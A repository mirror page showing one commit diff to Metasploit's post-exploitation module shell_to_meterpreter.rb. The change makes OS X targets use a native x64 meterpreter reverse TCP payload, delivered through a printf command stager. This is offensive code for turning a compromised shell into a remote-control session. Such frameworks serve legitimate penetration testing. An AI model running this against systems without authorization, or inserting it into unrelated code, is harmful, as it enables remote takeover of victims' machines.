infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #9607, upgrade osx shells to osx meterpreter

4.x
Brent Cook 2018-02-23 11:11:44 -06:00 committed by Metasploit
parent 3021a3202b
commit bffba1e5e3
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 16 additions and 10 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

26
modules/post/multi/manage/shell_to_meterpreter.rb
View File

@ -81,8 +81,10 @@ class MetasploitModule < Msf::Post
psh_arch = 'x86' psh_arch = 'x86'
vprint_status("Platform: Windows") vprint_status("Platform: Windows")
when 'osx' when 'osx'
platform = 'python' platform = 'osx'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status("Platform: OS X") vprint_status("Platform: OS X")
when 'solaris' when 'solaris'
platform = 'python' platform = 'python'
@ -99,8 +101,10 @@ class MetasploitModule < Msf::Post
larch = [ARCH_X86] larch = [ARCH_X86]
vprint_status("Platform: Linux") vprint_status("Platform: Linux")
elsif target_info =~ /darwin/i elsif target_info =~ /darwin/i
platform = 'python' platform = 'osx'
payload_name = 'python/meterpreter/reverse_tcp' payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status("Platform: OS X") vprint_status("Platform: OS X")
elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/ elsif cmd_exec('python -V 2>&1') =~ /Python (2|3)\.(\d)/
# Generic fallback for OSX, Solaris, Linux/ARM # Generic fallback for OSX, Solaris, Linux/ARM
@ -162,7 +166,7 @@ class MetasploitModule < Msf::Post
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL' print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
vprint_status("Transfer method: VBS [fallback]") vprint_status("Transfer method: VBS [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe) aborted = transmit_payload(exe, platform)
end end
end end
when 'python' when 'python'
@ -171,7 +175,7 @@ class MetasploitModule < Msf::Post
else else
vprint_status("Transfer method: Bourne shell [fallback]") vprint_status("Transfer method: Bourne shell [fallback]")
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe) aborted = transmit_payload(exe, platform)
end end
if datastore['HANDLER'] if datastore['HANDLER']
@ -181,7 +185,7 @@ class MetasploitModule < Msf::Post
return nil return nil
end end
def transmit_payload(exe) def transmit_payload(exe, platform)
# #
# Generate the stager command array # Generate the stager command array
# #
@ -193,16 +197,18 @@ class MetasploitModule < Msf::Post
:linemax => linemax, :linemax => linemax,
#:nodelete => true # keep temp files (for debugging) #:nodelete => true # keep temp files (for debugging)
} }
if session.platform == 'windows' case platform
when 'windows'
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64') opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, "exploits", "cmdstager", 'vbs_b64')
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
when 'osx'
opts[:background] = true
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
else else
opts[:background] = true opts[:background] = true
opts[:temp] = datastore['BOURNE_PATH'] opts[:temp] = datastore['BOURNE_PATH']
opts[:file] = datastore['BOURNE_FILE'] opts[:file] = datastore['BOURNE_FILE']
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
# Note: if a OS X binary payload is added in the future, use CmdStagerPrintf
# as /bin/sh on OS X doesn't support the -n option on echo
end end
cmds = cmdstager.generate(opts) cmds = cmdstager.generate(opts)